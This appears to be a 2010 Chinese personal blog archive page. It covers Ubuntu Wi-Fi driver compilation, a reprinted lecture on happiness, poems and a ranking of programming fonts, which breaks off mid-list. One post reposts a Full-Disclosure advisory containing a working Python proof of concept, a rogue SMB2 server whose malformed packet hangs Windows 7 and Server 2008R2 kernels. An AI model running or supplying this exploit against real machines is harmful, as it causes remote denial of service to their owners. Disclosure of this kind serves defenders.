EeePC 900HA无线网卡 AR2427 [ 168c:002c ] Ubuntu 10.04 驱动安装

2010年7月10日 林風聽雨 没有评论

前些日子,买了部 Asus EeePC 900HA的网本,将预装的(可能是)盗版的XP系统删除后,装上了 Linux Ubuntu 10.04 netbook Beta1后,发现无线网卡根本就不工作。试过用Rolf Leggewie 的PPAUbuntu Kernel PPA 都不行

用命令 $ lspci 得到无线网卡设备的信息
……
01:00.0 Ethernet controller [0200]: Atheros Communications Atheros AR8121/AR8113/AR8114 PCI-E Ethernet Controller [1969:1026] (rev b0) (有线网卡的)

02:00.0 Network controller [0280]: Atheros Communications Inc. Device [168c:002c] (rev 01)
(无线网卡的)
…… !详细信息

无线网卡那一部分并没有直接给出是ARxxxx 类型的网卡,所以只能通过设备ID [168c:002c] Google 后来才知道机子的无线网卡是 AR2427 – ath9k 。(如果直接Google 900HA 很多资料显示 900HA的wireless卡的类型是 AR5007EG,这个问题一直忽悠了我很久, ubuntu 10.04正式版出来后我才知道 AR5007EG可能是以前900HA的网卡型号)。
貌似是因为现在的内核 2.6.32-xx (Ubuntu 10.04) 并没有对其支持(要等到2.6.33 + 的内核版本) !Bug #521967,才造成识别不到设备类型的。要解决这个问题,你可能要用到一下三个方法中的一种:
a. Ndiswrapper 直接导入windows上的驱动文件 netathw.inf 这个通用简单而且牛叉,但好像有些人反应 说,网速有些许降低,我也没亲身试过
b. Madwifi 在Ubuntu 10.04 beta2 的时候装过,因为功夫不够编译失败。放弃了
c. Linux Wireless 的 compat- wireless kernel drivers 现在再用,完美支持。不过如果你升级了内核是 要重新安装一次的,由于以后内核还是会更到到支持AR2427的,而且刚刚给我撞上了,所以也就采取 了这种办法。

compat-wireless kernel drivers安装过程:
OS: Ubunru 10.04
Kernel version: 2.6.32-22-generic (用 $ uname -r 可以查看) 我没有在其他内核版本上装过所以最好能够确保 你的内核和我是一样的,其实其他的内核也是可以的只不过要下载好对应的驱动文件而已

1. 安装 C编译器, 你的有线网应该OK吧,不能联网的话找deb包装吧

$ sudo apt-get install build-essential

2. 检查 /lib /modules/`uname-r`/build 文件夹(一般默认已经安装了)是否存在 ’uname -r’是获取你内核版本的命令,其中 “·” 是TAB键上面那个键
$ ls /lib/modules/`uname -r`/build

如果ls命令,显示有文件的话那就继续下一步
没有的话,就 $ sudo apt-get install linux-headers-`uname -r` 装好后再 ls 一次看看成功了没

3. 到这里下载相应的驱动,我当时用的是 compat-wireless-2010-04-26.tar.bz2 这个是自选,主要是依据
make 命令有没有错误,如果有的话 那就换个适合的看看,其中最新版一定是 compat-wireless-2.6.tar.bz2

4. 解压驱动文件,然后进入起文件夹,编译安装

$ tar -xvjf compat-wireless-2010-04-26.tar.bz2

$ cd compat-wireless-2010-04-26.tar.bz2

$ ./scripts/driver-select ath9k
#如果你装的是 ath5k 驱动的话那就替换掉 “ath9k”

$ make
#没有提示什么错误的话,就继续下一步。如果有那就看看错误类型吧,一般都是要换一个驱动文件,或者你到Goolge、baidu问一下

$ sudo make install
# 需要时间去完成,如果你安装后出现错误那么运行 $ sudo make uninstall 将它卸载

$ sudo make unload

$ sudo modprobe ath9k

5. 确认有没有安装成功

你的 $ iwconfig 应该会多出来一个 wlan0 的设备

$ modinfo ath9k
#应该会有一下显示,红色哪一行一定要有才算成功了

filename: /lib/modules/2.6.32-18-generic/updates/drivers/net/wireless/ath/ath9k/ath9k.ko
license: Dual BSD/GPL
description: Support for Atheros 802.11n wireless LAN cards.
author: Atheros Communications
srcversion: A50A865BAAB45E03B5852F0
alias: pci:v0000168Cd0000002Esv*sd*bc*sc*i*
alias: pci:v0000168Cd0000002Dsv*sd*bc*sc*i*
alias: pci:v0000168Cd0000002Csv*sd*bc*sc*i*
alias: pci:v0000168Cd0000002Bsv*sd*bc*sc*i*
alias: pci:v0000168Cd0000002Asv*sd*bc*sc*i*
alias: pci:v0000168Cd00000029sv*sd*bc*sc*i*
alias: pci:v0000168Cd00000027sv*sd*bc*sc*i*
alias: pci:v0000168Cd00000024sv*sd*bc*sc*i*
alias: pci:v0000168Cd00000023sv*sd*bc*sc*i*
depends: ath9k_hw,mac80211,led-class,ath,cfg80211,ath9k_common
vermagic: 2.6.32-18-generic SMP mod_unload modversions 586
parm: debug:Debugging mask (uint)
parm: nohwcrypt:Disable hardware encryption (int)

6. 重启

$ sudo reboot 手动重启也行

如果你重启后,左键点一下右上角的网络管理器(并不是 edit 里面),如果有了无线的连接。那么你开始大喊一声 Oyeah 吧!!!
如果你安装后出现错误那么运行 $ sudo make uninstall 将它卸载
后面的无线设置,自己搞吧。

关于最新版本编译出现错误:
net/wireless/wext-compat.c:443: error: ‘struct wireless_dev’ has no member named ‘wext’

请使用如下更改:

代码:

Signed-off-by: Paul Fertser <fercerpav@…>

scripts/gen-compat-autoconf.sh |    2 +-
1 files changed, 1 insertions(+), 1 deletions(-)

diff –git a/scripts/gen-compat-autoconf.sh b/scripts/gen-compat-autoconf.sh
index 88e2740..1e3002e 100755
— a/scripts/gen-compat-autoconf.sh
+++ b/scripts/gen-compat-autoconf.sh
@@ -192,7 +192,7 @@ if [ -f $KLIB_BUILD/Makefile ]; then
define_config_multiple_deps CONFIG_MAC80211_QOS y $ALL_DEPS
rm -f $MULT_DEP_FILE
# Kernels >= 2.6.32 can disable WEXT :D
-      if [ $SUBLEVEL -lt 32 ]; then
+      if [ $SUBLEVEL -le 32 ]; then
define_config_dep CONFIG_CFG80211_WEXT 1 CONFIG_WIRELESS_EXT
fi
fi

当然,只是针对2.6.32内核

分类: 未分类 标签:

Ubuntu 10.04 安装磊科nw336驱动 rtl8188su rtl8192su

2010年5月1日 林風聽雨 没有评论

1、去Realtek官方下载 rtl8188SU_usb_linux_v2.6.0006.20100226.zip

2、执行命令:

$ unzip rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100202.zip

$ cd rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100202/driver

$ tar -zxf rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100202.tar.gz

$ cd rtl8712_8188_8191_8192SU_usb_linux_v2.6.0006.20100202

$ make

$ sudo make install

$ sudo modprobe 8712u

3、用该驱动,编译出现错误,

error: implicit declaration of function ‘daemonize’

猜测可能是内核版本的改变致使找不到daemonize函数声明造成的,于是确定内核版本是2.6.32-21, google到声明可能在sched.h头文件中。

于是到/下run: sudo find . -name sched.h|xargs grep daemonize

找到/usr/src/linux-headers-2.6.32-21-generic/include/linux/sched.h

/usr/src/linux-headers-2.6.32-21/include/linux/sched.h

修改驱动程序的include/osdep_service.h 加入 #include <linux/sched.h>

重新编译,居然非常顺利。

make install的时候有个错误说是没找到config这个文件,打开Makefile第12行,

include $(TOPDIR)/config

也许由于环境不一样,$(TOPDIR)为空,所以找不到config文件,所以修改为include config,继续编译,安装。

本文参照:http://blog.csdn.net/ray1944/archive/2010/04/29/5542119.aspx

分类: 未分类 标签:

萧瀚:最后一课:如何度过我们的一生?

2010年4月24日 林風聽雨 没有评论

作者:萧瀚 青年法学学者

在座诸君:你们好!

我到法大已经整整四年,开了四年的课。今天是你们这学期的最后一课,我和大家已经一起度过了美好的17周,如果包括今天,总共是27个小时。在这27个小时里,我有幸和大家一起回到遥远的中国古代,去遐思我们的祖先是怎样的生活,那一切都让我感动。

说到最后一课,我们很自然地想到都德的那篇著名小说《最后一课》。我们没有他们当年法国人那么惨,但这最后一课,于我却是伤感的。我不打算再讲任何与这门课程相关的内容,因为那是讲不完的。今天我只希望自己能够真正地来尽一个教师的职责,那就是跟在座诸君聊聊我们每个人都正在经历的人生。

早在一周前,我就在想,我应该怎样讲这最后一课,以前各个学期的最后一课,我总是将自己对中国历史的宏观看法告诉大家,但这些话,我在以前的课上都已经讲过,再讲并没有太大意义。以前各个学期,我犯下一个严重的过错,就是更多地只是进行知识性宣讲,然而,这两年,尤其是今年,我越来越觉得这样做一个教师是有限的,也是远远不够的。在我与在座诸君有限的交往中,我更深切感受到的是朋友们对人生问题的关切,而无论求诸他人,还是我自己的经验,这一思考和探索远比知识性的学习更为重要。

再过一年,这件事情就已经过去二十年了,时光为什么过得如此之快,我们来不及流泪,泪却已经干了;我们来不及回忆,回忆却已经变成了失忆。但我知道,和我一样经历过这件事的人,会永远将这件事留在心底,不知道什么时候就会翻出来祭奠一番,那代表着我们的青春,代表着关心天下兴亡的青年人第一次的梦想破灭,代表着与这个社会初恋的失败,它不可能不是铭心刻骨的。

我从来没有写过演讲稿,这是第一次,大家知道我没法用教案讲课,那样我会张口结舌。但今天,我似乎觉得有写下这篇文字的必要,至于是不是会完全按照这稿子讲,我自己也不知道。

人的一生里会遇到许多事,有小事,有大事,有些事发生仿如没有,有些事发生了就再无法遗忘,每个人都有自己独特的不能遗忘的人和事,当人生走到尽头的时候,这些就构成了一生。

你们这一生将怎样度过?这是你们一定在考虑的问题,你们也一定带着无限的憧憬在考虑这个问题。但是,无论如何,有一点是共同的,问之万人,答案相同,就是希望过得幸福。

什么是幸福?怎样才能幸福?

《现代汉语辞典》说:“1、是使人心情舒畅的境遇和生活;2、(生活、境遇)称心如意。”

古罗马诗人贺拉斯则说:“人的幸福要等到最后,在他生前和葬礼前,无人有权说他幸福。”

拉罗什福科,法国17世纪的思想家说:“幸福在于趣味,而不在于事物。我们幸福在于我们拥有自己的所爱,而不在于拥有其他人觉得可爱的东西。”

方登纳,一位 17、18世纪之交的法国作家说:“幸福就是人们希望永久不变的一种境界。”

关于幸福,各种各样的说法都有,人言人殊,我就不再举例子。法国作家莫洛亚有一篇演讲,谈幸福,他说构成幸福的核心是把自己心中自有的美传达给外界的一种精神状态,人所祈求不变的也是这种精神状态,而不是具体的物象。我很认同莫洛亚的这一说法。

但是,这只是一种理想状态,因为人除了灵魂、精神,还有躯体,还受着七情六欲等等诸多物质性存在的困扰。《论语》里的颜回能够一箪食、一瓢饮不改其乐;帕乌斯托夫斯基在《金玫瑰》里说一天两片面包,依然能够快乐地天天朗诵普希金,至少他们都没到彻底断炊的境遇。如果人的基本欲望无法得到满足,人就会一天到晚渴望这基本的满足,没办法,这是人性。

我相信,只要不发生战争,不发生大饥荒,一般而言,你们将来不会发生因物质极度困乏而造成的痛苦,所以这个问题并不那么迫切。但是,物质性的躯体会生病。25年前的 1983年,著名报告文学作家孟晓云女士曾经写过一个感动了全中国的真实故事,一位在那个国家精神病时代深受迫害与蹂躏的学者钱仁宗,无论在什么样的恶劣境遇中,他都热爱学习一切他能接触到的知识,最后他终于苦尽甘来,调到人民日报海外版,就在他即将展开鸿图之际,突然病倒,一个月后去世,他得的是肝癌晚期。我所知道的看过这篇报告文学的人,没有人不是流着眼泪读完的。人在这样的境遇面前,是无话可说的,谁也无法与死亡抗衡。但是,一般性的疾病也是很折磨人的意志的,不过,一个本性乐观,时常充满幸福感的人,在面对疾病甚至绝症的时候也许会更有力量。中山大学的程文超教授便是如此,他明知自己得了绝症,与癌症整整斗争了12年,就在最后的弥留时刻,他的哭还是为他妻子的憔悴而哭,认为自己拖累了家人,他自己则依然保持了昂扬工作的精神状态,这是极其了不起的。

除了疾病,生活的不安定,也会严重影响人的幸福感,一个居无定所的人,除非酷爱流浪,一般而言,很难幸福。你们毕业以后,如果出去工作,最初肯定要经历一段居无定所的阶段,除非住在父母家里。但是,这些问题随着你们的努力工作,一点点都能够解决。

我今天着重要和诸君讲的问题不是这些纯粹物质性的问题,因为这些问题在你们将来一般都不难解决,除非过于物欲的追求,那是另一回事。

我今天最想讲的是,假定我们在物质层面的基本问题都能解决,如何获得幸福,如何像前面说的那样将自己心中的美传递给外在的世界,使得自己永远保持着这样一种美丽和谐的精神状态,保持了这样的状态便是幸福。

这当然涉及世界观问题,涉及信仰问题。但这些都是各人自己要去解决的问题,我不能在这里布道传教,信仰在一定意义上是隐私,所以我不打算谈这个问题。

但是信仰之下,应该有一些非常具体的获得幸福的方法。依我之见,这个法门只有三个字:

爱和创造。

一个心中充满爱的人,无论是对什么的爱,都将会是幸福的。因为爱是忘我,是付出,是为了别人快乐,为了别人幸福。英国的詹姆斯.里德写过一本《基督的人生观》,对于完满人生有个三条件说,即一个最终的目标,这涉及信仰,人有这样的最终目标,就能将日常生活的所有行动都统一到这一目标之下,而不会发生虚无感的问题;是否为自己一个人活着,如果仅仅是为自己一个人活着,这人不可能幸福,因为太自私,太有我;是否能够处理遇到的一切事情,这是前两个条件的延伸,没有前面两条,人就无法处理遇到的所有事情。因此,爱就变得极端重要。爱是付出的概念,而不是获得的概念。

你们正处在青春年华,你们遇到的第一个爱的问题就是爱情。我不知道在座诸君是否都经历过爱情,这是你们必经的人生一课,是这个年龄段里最重要的一课,不管男女,在你们大学毕业之前至少应该恋爱一次,无论成败,成功了,结为百年之好,这是最理想的,不成功,那也是重要的人生经历,没有经历这样的阶段,人往往难以最真切地理解爱是什么。由于你们这个年龄段的人,思想比较单纯,对感情也更能付出,一旦将来工作了,要保持一种比较单纯的情感就有难度了,即使你单纯,而别人未必单纯,所以学生时代的爱情就变得很重要,因为只有在心灵比较纯净的状态里,才能体验到真正爱情的分量,才能真正清晰完整地体验爱一个人,愿意为一个人付出的感情状态是什么。

中国人向来缺乏情感教育,包括我自己在内,至今并不真懂得如何与异性相处,你们也不妨自问,有没有与异性相处的能力。你们现在比我们那时候好多了,比我们正常得多,我们那时候的人与爱情为敌,视爱情为洪水猛兽,大学生谈恋爱都会被找去谈话,校纪校规里直接禁止学生谈恋爱。如果中学谈恋爱那就绝对是道德败坏!可以想见这个国家对待情感的主流观念是多么愚昧!但你们比我们要幸运,你们接触到的这个世界至少比我们那时候稍稍多一点温情,多一点爱。

不过,我要提醒你们的是,不要轻易地把爱情和性混为一谈,性固然是基本的人欲,但并不总是与爱情同在,在你们这样的纯情阶段,我以为应该更重情,而不是性。如果感情未到,急于性结合,可能恰恰是最伤害情的,它可能导致的恶果是你不管经历多少性,也无法体会爱到底是什么。看看日本导演岩井俊二的电影《情书》,还有川端康成的小说《伊豆舞女》,也许你们会从艺术家的作品中获得一点感悟:情与性不同,有时差得很远,有时甚至是对立的——在它们不能统一的时候。

有过了爱情,无论成败,你们就不再是少年,你们长大成为成人。于是,你忽然发现,你会爱你们的父母,爱你们的朋友,甚至去爱陌生人,而以前这个字只是用来说的,从此,你可能不再会说个字,却会去做,甚至是完全默默地做,以至于怕被爱的人知道你做了爱他们的事情,这个时候,爱早已升华,有点类似英文里的圣爱,或者更通俗的说法是博爱。无论哪种爱,只要是真情真性的爱,往往离宗教信仰很近,而爱情最容易达到这一点。俄国大文豪蒲宁的小说有爱情的百科全书之称,建议你们去读一读他的《爱情学》,也译为《爱情法则》,他的其他爱情小说也是美轮美奂,你们有兴趣都可以找来看看。

爱是通往幸福的有效途径之一,还有一条道路,也通往幸福,就是创造。

创造当然有很多不同的类型,有思想的创造,有艺术的创造,有技术的创造,生活的创造,各种各样的创造都会使人达到幸福。

创造需要一个前提条件,就是好奇心,好奇心在本质上是什么,是自由!这个学期以来,我一直在竭力地督促你们能够自由地思想,抛开以前那些垃圾教材,要触动你们自己的强烈求知欲,当你们打开了自己这扇思维的自由之门以后,你们就会发现,人类的知识世界是多么美妙。这个年龄段,就是你们博览群书的年龄,离开了大学,你们将会发现,读书的时间会大大减少。所以我热切地希望你们考试成绩不要太好,更多的时间应该用在读教材以外的书,你们要在大学时期,打下人文、科学知识的基础,这个基础包括神、文、史、哲、科、艺。

神,是神学,就是与信仰相关的一切书,佛教、基督教、伊斯兰教、巴哈依教、印度教……,与这些宗教相关的书统统都可属于神学范畴,找几本经典的介绍性的好书,接触一下,就会在你们的人生观中留下一个伏笔,也许哪天开花结果,你发现自己有信仰了,那我祝贺你们;

文,是文学,诗歌、戏剧、小说、散文、评论,人类数千年来的文字艺术精华都在这里了。尤其要多读诗歌和小说,例如诗经楚辞汉赋乐府唐诗宋词元曲清诗,以及现代诗中的精华,例如顾城、海子等等,还有一些译得不错的外国诗。小说中,《红楼梦》、《战争与和平》都应该读,前者是中国小说的顶峰,后者是外国小说的顶峰,当然还有很多一流的外国小说,作家太多就不举例了。

史,就是历史,这方面的书也是数不胜数,中国的,《史记》总该读吧,本来前四史都应该读,但你们可能会说时间不够,那降到最低标准,《史记》是必读的中国史籍,如果有时间也应该读《资治通鉴》,至于其他的史书,就看你们自己的兴趣了,不过,比较像样的通史性的作品必须读上几部,例如钱穆先生的《国史大纲》,张荫麟先生的《中国史纲》,费正清主编的剑桥中国史系列,至于其他的通史著作没见过特别好的,不读关系也不大。但是,如果对其文字以及思想本身要求不很高,仅仅是知识性需求的话,吕思勉先生的一些通史性作品还是值得读的,例如他的《白话本国史》。外国史方面,可选择的范围很广,例如美国拉尔夫主编的《世界文明史》,黑格尔的《历史哲学》,威尔杜兰的《世界文明史》、汤因比的《历史研究》、《新编剑桥世界近代史》系列等等,就不再举例子了。

哲,就是哲学,古往今来的哲学著作很多,应该从哲学史入手,我的经验是德国文德尔班的《哲学史教程》最好,其次是美国梯利的《西方哲学史》,至于那部名气很大的罗素的《西方哲学史》,我并不喜欢。看了这些哲学史著作之后,你自然会知道自己应该看什么具体的哲学著作。

科,当然是科学,这方面的书,我们主要是读科普性的读物,例如阿西莫夫的书,卡尔.萨根的书,还有植物学、动物学、地理学、天文学等等一切自然科学领域的科普作品,这些书有助于我们摆脱科盲这尴尬的身份,扩大我们的视野;

艺,就是艺术,范围很广,绘画、雕塑、音乐、舞蹈、戏剧、建筑、影视……,这些不但要从形成文字的文本去了解,更重要的是要亲炙,就是亲身接触,有些甚至去学习具体的艺术创作方法,艺术创作是最直接感受世界的方式,因此对人的影响巨大,这是一个纯粹以美为表达对象的世界,对于人格的培养以及道德素养的培育都至关重要,请大家不要误以为艺术只是一件奢侈的事,“美学是伦理学之母”,这是1987年的诺贝尔文学奖获得者布罗茨基,在受奖演说中说过的名言,在绝大多数情况下,美往往是与善连在一起的。

我希望诸君对上述这些所有人类智慧的积累都能够有兴趣,都有强烈的好奇心,有强烈的求知欲。如果有了那么广阔的视野和强烈的好奇心、求知欲,你们最终必将很清楚地知道最喜欢做什么事,有了你毕生喜欢的事情,你热爱它们,你就会自由地去思想,去创造,而创造将使你的生活永远充满新生的力量,永远充满活力,使你的精神灵魂生命永葆青春。因此创造是生活中最美好的事情之一,它会在给你带来幸福的同时,也会给他人带来审美的愉悦。创造也是人世间所有事情中最美好的事之一。

如果,你们在大学期间打下很好的各方面基础,包括人文、社科、自科,那么你们的这颗心灵就不会是乏味、枯萎、老化的,而将是活泼、新鲜、年轻,充满创造力的,这样你无论从事什么方面的工作,你都将在工作本身中找到创造的乐趣,即使工作本身不允许你们发挥太多的创造力,你们也会在工作之外,过上十分充实的生活,而充实的生活,就是幸福的基本条件之一。它也能够帮助你们抵御生活中的许多艰难,让人在艰难中有寄托,有乐趣,有希望。

课马上就要结束了,我该讲的话,能讲的话,也基本上都讲了。离开这个教室,也许我和诸君还会在许多地方相逢,我希望大家能够记得我这位忘年朋友,如果需要我的帮助,只要我能做到,不与我的原则冲突,我都会尽力帮助,我可能因为粗心而犯下一些过失,如果因此而伤害过你们,请你们原谅我的过犯。

在座诸君,下课的铃声也许马上就会响起。无论将来你们会在哪里,无论你们将来从事什么,我祝愿你们永保一颗单纯的心,一颗充满爱和美的心灵;我祝愿你们获得一颗富有生命力、独立而自由的灵魂;我尤其要祝愿你们每个人,无论在多么肮脏卑污的环境中,都持守着自己永不被玷辱的卓越人格。

在座诸君,谢谢你们与我一起度过这快乐的18周27个小时。我为你们骄傲,祝你们幸福! (本文来源:星辰在线 作者:萧瀚)

分类: 未分类 标签:

六代

2010年4月19日 林風聽雨 没有评论

第一最好不相见,如此便可不相恋。

第二最好不相知,如此便可不相思。

第三最好不相伴,如此便可不相欠。

第四最好不相惜,如此便可不相忆。

第五最好不相爱,如此便可不相弃。

第六最好不相对,如此便可不相会。

第七最好不相误,如此便可不相负。

第八最好不相许,如此便可不相续。

第九最好不相依,如此便可不相偎。

第十最好不相遇,如此便可不相聚。

但曾相见便相知,相见何如不见时。

安得与君相诀绝,免教生死作相思。


见与不见

你见,或者不见我

我就在那里

不悲不喜

念与不念

你念,或者不念我

情就在那里

不来不去

爱与不爱

你爱,或者不爱我

爱就在那里

不增不减

跟与不跟

你跟,或者不跟我

我的手就在你手里

不舍不弃

来我的怀里

或者

让我住进你的心里

默然 相爱

寂静 欢喜

分类: 未分类 标签:

Windows 7 , Server 2008R2 Remote Kernel Crash

2010年4月14日 林風聽雨 没有评论



From: laurent gaffie <laurent.gaffie () gmail com>
Date: Wed, 11 Nov 2009 05:58:44 -0500


=============================================

- Release date: November 11th, 2009

- Discovered by: Laurent Gaffié

- Severity: Medium/High

=============================================

I. VULNERABILITY

————————-

Windows 7 * , Server 2008R2 Remote Kernel Crash

II. BACKGROUND

————————-

#FAIL,#FAIL,#FAIL

SDL FAIL, ‘Most Secure Os Ever’ –> Remote Kernel in 2 mn.

#FAIL,#FAIL,#FAIL

III. DESCRIPTION

————————-

See : http://g-laurent.blogspot.com/ for much more details

#Comment: This bug is specific Windows 7/2008R2.

IV. PROOF OF CONCEPT

————————-

#win7-crash.py:

#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)

#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure()

caused by an infinite loop.

#NO BSOD, YOU GOTTA PULL THE PLUG.

#To trigger it fast from the target: \\this_script_ip_addr\BLAH , instantly

crash

#Author: Laurent Gaffié

#

import SocketServer

packet = “\x00\x00\x00\x9a” # —> length should be 9e not 9a..

“\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00″

“\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″

“\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41″

“\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00″

“\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01″

“\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20″

“\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e”

“\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a”

class SMB2(SocketServer.BaseRequestHandler):

def handle(self):

print “Who:”, self.client_address

input = self.request.recv(1024)

self.request.send(packet)

self.request.close()

launch = SocketServer.TCPServer((”, 445),SMB2)# listen all interfaces port

445

launch.serve_forever()

#SDL FAILED

V. BUSINESS IMPACT

————————-

An attacker can remotly crash any Windows 7/Server 2008R2.

VI. SYSTEMS AFFECTED

————————-

Windows 7, Windowns Server 2008R2

VII. SOLUTION

————————-

No patch available for the moment, your vendor do not care.

Close SMB feature and ports, until a real audit is provided.

VIII. REFERENCES

————————-

http://blogs.msdn.com/sdl/

http://g-laurent.blogspot.com/

http://twitter.com/g_laurent

IX. CREDITS

————————-

This vulnerability has been discovered by Laurent Gaffié

Laurent.gaffie{remove-this}(at)gmail.com

X. REVISION HISTORY

————————-

November 8th, 2009: MSRC contacted

November 8th, 2009: MSRC acknoledge the vuln

November 11th, 2009: MRSC try to convince me that multi-vendor-ipv6 bug

shouldn’t appears on a security bulletin.

November 11th, 2009: Win 7 remote kernel smash released

XI. LEGAL NOTICES

————————-

The information contained within this advisory is supplied “as-is”

with no warranties or guarantees of fitness of use or otherwise.

I accept no responsibility for any damage caused by the use or

misuse of this information.

XII.Personal Notes

————————-

More Remote Kernel FD @MS to come.

_______________________________________________

Full-Disclosure – We believe in it.

Charter: http://lists.grok.org.uk/full-disclosure-charter.html

Hosted and sponsored by Secunia – http://secunia.com/

分类: 未分类 标签:

让代码更美:10大编程字体

2010年3月10日 林風聽雨 没有评论

日复一日的编写代码,有没有感到审美疲劳?也许些许的改变就能让我们感到生活更美好。

换一种编程字体吧!体验一种新的代码感觉。 下面我眼中的十大编程字体:

10. Courier

基本上所有的系统都自带了此种字体,有时候它又以Courier New的名字出现。不幸的是很多终端和编辑器都默认使用此种字体,虽然这不会影响使用,但这会影响心情,它太枯燥了。以前看到这样一句评论:久不见牡丹会以仙人掌为美。这句评论形Courier字体非常合适。所以如果你还有其他选择的话,请勿使用此字体。更不幸的事情是最后你还是会继续使用它,那3秒只能强烈建议你调整一下字体大小并消除锯齿。

9. Andale Mono

稍微比Courier好一点的字体,有些时候它也被用作默认字体。3秒给它的定义是:一个软件不自带就不会有人去专门下载使用的一种字体。

8. Monaco

使用苹果Mac的人们对它不陌生,它是Mac的默认字体,3秒的经验是:使用它时,把字体设置为9号或者10号时会更好,这样看起来就相对不寒酸了。

7. Profont

Profont是一种类Monaco的位图字体,你能够在Mac, Windows和Linux上面使用,Mac平台的ProFontX就是它的修改版,当然两个字体并非出自同一作者之手。如果使用它,你把字体调小一点为好。而且如果你是非Mac平台,它是Monaco的最佳替代者。如果你喜欢微小字体或者喜欢眼疲劳,你可以考虑一下它。

6. Monofur

Monofur是一种独特的等宽字体,各种大小看起来都非常不错,前提是你已经设置为消除锯齿。这种字体的外观比较独特,看着它容易让你想起上世纪八十年代Sun的Solaris(SunOS)上的OPENLOOK窗口管理器。如果你喜欢新鲜的东西,你可以试一下这种字体,再次提示一下:消除锯齿。

5. Proggy

Proggy是一种很干净的等宽字体,貌似受到很多Windows用户的青睐,在Mac上它同样工作正常。使用它一般把字体调小点,不要消除锯齿。

4. Droid Sans Mono

Droid 字体家族 适合手机等小屏幕的移动平台,比如Android。它在Apache许可证下授权。伟大的编程字体,在我列出的等宽字体中它是最突出的一个。

3. Deja Vu Sans Mono

Deja Vu 是我最喜欢的免费字体家族之一,基于Vera字体家族。Deja Vu已经能够支持更多的字符了,并保持了Vera的外观和感觉。适于任何大小,只要你消除锯齿。

2. Consolas

Consolas是商业字体,它是Luc(as) de Groot为微软ClearType字体家族设计的,与微软很多产品绑定在一起,所以幸运的是可能你的系统上已经有它的存在了。如果你在不消除锯齿的情况下使用它,那还不如使用Courier吧!

1. Inconsolata

Inconsolata是我最喜欢的等宽字体,而且是免费的。在发现它之后,3秒迅速改变了Deja Vu Sans Mono作为我默认编程字体的情况。从终端窗口到代码编辑器,我让它无处不在。它的风格非常独特。设计它的时候就已经把锯齿消除了,就算是非常小的时候也很清晰—真正的情况是它适合于任何大小。感谢Raph Levien创造了Inconsolata,并让它免费。

这些字体中大部分是免费的,可以自由下载。有些是是商业软件的一部分,比如Consolas。

你感觉怎么样?如果感觉相见恨晚,不妨去尝试一下。

原文 http://3seconds.cn/2010/01/20/10-programming-fonts.html

分类: 未分类 标签:

Top 10 Programming Fonts

2010年3月10日 林風聽雨 1 条评论

I’m a typeface geek, and when it comes to selecting a font I’ll stare at all day, I tend to be pretty picky. Recently, when I discovered that a friend was using a sub par typeface (too horrible to name here) for his Terminal and coding windows, my jaw dropped, my heart sank a little, and I knew it was due time for me to compose this article.

What follows is a round-up of the top 10 readily-available monospace fonts. Many of these fonts are bundled along with modern operating systems, but most are free for download on the web. A few, notably Consolas, are part of commercial software.

A note about anti-aliasing

In the past, we’ve had to decide between tiny monospace fonts or jagged edges. But today, modern operating systems do a great job of anti-aliasing, making monospace fonts look great at any size. It’s not 1990 anymore. Give your tired eyes a break and bump up that font size.

If you have any doubt that anti-aliased fonts are apropos for code, note that even the venerable BBEdit — which for years has shipped with un-aliased Monaco 9 set as the default — has made the jump. The app now ships with a specially licensed version of the Consolas font from Ascender, bumped up in size, and with anti-aliasing on by default. Panic includes a special anti-aliased font (Panic Sans, which is actually just a version of Deja Vu Sans Mono) with its popular Coda application.

Unless otherwise noted, I’ve used a larger size font, 15-point in fact, for the examples here to illustrate their legibility at larger sizes and with anti-aliasing turned on.

10. Courier

All systems ship with a version of Courier (sometimes Courier New), and unfortunately, many have it set as the default font for terminal and editor windows. It does the job, but it’s a bit dull and boring, lacking style and class. I don’t recommend this font if you have any other choice — and fortunately, you do. If you use this font, please bump the size and turn on anti-aliasing.

Courier New
Figure 1 Courier New

9. Andale Mono

A bit better than the Courier family, Andale Mono is still relegated to the “default font” category as it ships with some systems, and you wouldn’t want to download or use it if it wasn’t already there. The character-spacing is a bit too clumsy and the letters are a bit too wide for my tastes.

Andale Mono
Figure 2 Andale Mono

8. Monaco

Monaco is the default monospace font on the Mac and has been since its inclusion in System 6. It’s a solid, workhorse font that really shines at smaller font sizes with anti-aliasing turned off. I loved this typeface back when my eyes could tolerate staring at a 9-point font for hours, but those days are behind me. This font looks great at 9 or 10-points (Figure 4), and doesn’t look too shabby anti-aliased at higher sizes (Figure 3).

As far as I know, you can only get Monaco as a part of Mac OS, but there are alternatives, so keep reading.

Monaco
Figure 3 Monaco
Monaco 9
Figure 4 Monaco 9-point, without anti-aliasing

7. Profont

Profont is a Monaco-like bitmap font available for Mac, Windows, and Linux (there’s also a modified version for Mac OS X called ProFontX by a different author). They’re best at smaller sizes, and make a great alternative to Monaco if you’re on a non-Mac platform and want really tiny fonts and the eyestrain that goes along with them.

Profont (and ProFontX) is intended for use at 9-points with anti-aliasing turned off.

Profont
Figure 5 Profont 9-point, without anti-aliasing

6. Monofur

Monofur is a unique monospace font that looks great anti-aliased at all sizes. It’s a fun font with a distinct look that is vaguely reminiscent of Sun’s OPEN LOOK window manager, which ran Solaris (aka SunOS) systems back in the late 80’s. If you’re looking for something a bit different, try this font, but make sure you have anti-aliasing turned on, even at small sizes.

Monofur
Figure 6 Monofur

5. Proggy

